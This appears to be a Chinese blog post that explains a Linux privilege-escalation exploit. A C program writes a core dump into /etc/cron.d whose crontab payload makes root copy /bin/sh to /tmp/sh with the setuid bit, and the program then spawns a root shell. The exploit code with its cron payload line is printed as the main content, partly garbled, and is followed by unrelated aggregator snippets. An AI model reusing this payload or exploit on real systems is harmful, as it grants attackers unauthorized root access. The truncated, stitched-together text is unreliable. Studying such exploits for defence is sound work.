linux乙個漏洞的分析

2021-04-22 12:13:51 字數 1337 閱讀 3410

程式最早是國外的大佬寫的。這個漏洞的原理非常簡單,就是利用coredump的時候,可以在/etc/cron.d目錄下生成core檔案。

而在/etc/cron.d目錄下的檔案,crontab會定時以指定的使用者許可權來執行。如果在core檔案中,指定使用者許可權是root,那麼

就能夠以我們希望的方式來執行所有的程式了。

下面就程式進行分析。

#include

#include

#include

#include

#include

#include

#include

char *payload="/nshell=/bin/sh/npath=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin/n* * * * *   root   cp /bin/sh /tmp/sh ; chown root /tmp/sh ; chmod 4755 /tmp/sh /n";

/* 在coredump生成的core檔案中,就會出現payload的字元。也就是說,在core檔案中,會有下面的幾行檔案。

shell=/bin/sh

path=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

* * * * *   root   cp /bin/sh /tmp/sh ; chown root /tmp/sh ; chmod 4755 /tmp/sh

最後一行,如果熟悉crontab的配置,就知道這是crontab的檔案格式,每分鐘以root的身份執行一次後面的**。

注意最後的chmod 4755 /tmp/sh,4755是標準的粘連位的設定。這樣,任何執行/tmp/sh都將獲得root許可權。

*/int main()

kill(child, sigsegv);

/*使child process core dump*/

printf("sleeping for aprox. one minute (** please wait **)/n");

sleep(62);

/*等待crontab去執行生成的core 檔案*/

printf("running shell (remember to remove /tmp/sh when finished) .../n");

system("/tmp/sh -p");

/*執行/tmp/sh,由於/tmp/sh所有人是root,設定了粘連位,所以任何執行此程式的人都將獲得root許可權*/

}結束以後,請記得刪除/etc/cron.d/目錄下的core檔案,和/tmp/sh檔案。

乙個後門分析

檔案資訊 殼資訊 無殼 編譯器 vs2010 1.檔案執行後,會首先判斷檔案是否在c windows system32目錄下,如果沒有則拷貝自身到這個目錄下,並將自身設為服務程序,隨開機啟動 接著會啟動這個服務,並在臨時資料夾建立乙個.bat檔案並執行。這個檔案主要是刪除原有檔案 服務啟動後會嘗試連...

原php168的乙個漏洞

這個問題是程式設計師容易忽略的,往往只是依靠gpc或addslashes函式對使用者直接輸入的資料進行處理,這樣資料中的 等都會被 轉義,這樣就能正確的執行sql語句,有效防止注入攻擊了。但存入資料庫的資料呢?在執行完sql語句存入資料庫的是經過gpc處理前的原始資料,那麼當程式再select出的就...

發現WinXp下的乙個小漏洞

發現winxp下的乙個小漏洞該錯誤不僅在xp中文版中出現,英文版中也存在。當你的目錄名裡包含 時,你的chm檔案將無法正常開啟。在打sp2以前,根本就無法開啟檔案,但打了sp2補丁以後,可以開啟檔案,但無法瀏覽內容。如下圖 d dwonload net asp.net 2.0 revealed.ch...